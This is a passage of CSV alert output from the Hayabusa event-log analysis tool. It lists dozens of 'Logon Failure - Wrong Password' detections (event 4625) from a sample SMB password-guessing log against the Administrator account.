NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-UnknownError.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.042 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Unknown Reason,User: Administrator : Type: 3 : Workstation: ZrSGxwUyV6gCUPeb : IP Address: 192.168.198.149 : SubStatus: 0xc0000072 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-UnknownError.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.179 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XUBgTr05x3djEYdM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.219 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 40PhGU4ZXu7uihop : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.335 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1DJ9r72hXZH9rEkb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.397 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: khy2BeyBb9wq00f7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.462 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1cDckicL7IMrO7OQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.513 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dEEkvfVd3FCap6fa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.545 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JGFSyHQ0ZNWofxzE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ItOZqZSDTrdWpkbp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.611 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NhNdf5lHfrHKSCXq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.646 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xg05F6tdf3kR9kdP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.693 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 70rRbaC6L6SzT15q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.735 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HnJyN8wF21ff2L1e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.769 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MUZHZJMQznj6GBqg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.804 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: P9h52ZKMbXLuFvUV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.839 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n95RJvcQnFrAG2iX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.883 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xI23nmysFlr1pvVf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.916 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nVsjcTxDdZbzkmMx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.955 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mMuWatQuNBh9UKdR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:08.992 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BfC3JZ3awqFDNQbm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.028 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 337h8PHN6Axi0iaY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.071 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qGQpWOuzgETfxTgJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.108 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oFjlyMAJMI2zIC8w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.144 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7exAVz3PlzJQ6Wcw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.183 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RuYihjQpt76foAW3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.219 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OlPm2vRh9EHN9J6n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.255 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n9jDy3NDDPe7XgyW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.291 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AtGxqEKOoP6W3w0Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BLqYztXwV80UBez1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C0yki1dEFZrnMLs2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.420 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jbE2z1W1wQgoTDso : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.455 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IJmZFXFxiLuWWkMC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.500 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x9EPwprgXSJNUFfg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h0ZjYxZ8K5m5F1vo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.587 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xSw7OjDv8ldqbm5T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.631 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mk0BAdOI210HwPhX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.686 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wSwWz57Kvl2XJVUR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DLcfSrHT5bSsNnuQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rQDkbESps0PXWEUT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.797 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZpnyzkXasuyAtdn1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.840 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ps9IqJzTliJvzpIS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.876 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V7PLb2uRTIY8t123 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.921 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sHAJ9p0QbSRxhvtk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:09.968 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YRiE1wGrwWAx0feP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Flo4bCVjmlaHz0QS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.061 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HscUujSzd3Ua7dqg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aIQPTx67aEer51wb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.191 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MqUoXUf7PKIaoDjs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.222 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wzeB4DAS1W633tmh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.263 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UTtXTrqHoCZMbDLT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.311 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4HVv5PgPhiDW3qcj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g21VoO45UrIbTuZO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.383 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rGpD7AJUTekDmd6Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.423 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OykzTOn7B9THv0cT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.462 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cIYOrBBwX8nFpCzw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.508 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SvnROHLMVnmPfAyy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.547 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5EwJ84H7kXQXzGZz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 34RLeLWDgLayU3JM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.619 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QaXHGUgboODAi5Qu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.659 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QlOlZ0m397CsmaeD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.699 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: N24rSPCI8DsQIPXR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.738 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5y2tgoUcs6mFPZm4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HmFX6MioYqaMumgw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.820 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: R4HRWlPWPKy1Cicq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.869 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GDUf7wVbHkS9uaPC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.917 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eBX0Lviz6Bv5rGcb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:10.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zZwPm9qahLU78FRY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jOVsopykTHNQcYUp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.060 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n8DY7sdDY8nuWdME : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.105 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rTxEVu7mudXEBARZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7ohqvCoOLkFRcqvE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: me8rikVJqcKxvHdq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oLqVmqCmHTrD7V8V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.269 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5ySdyzxvDasHgjq0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.312 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: N2auwOc1wemq76n1 : IP Address: 192.168.198.149 : AuthPackage: 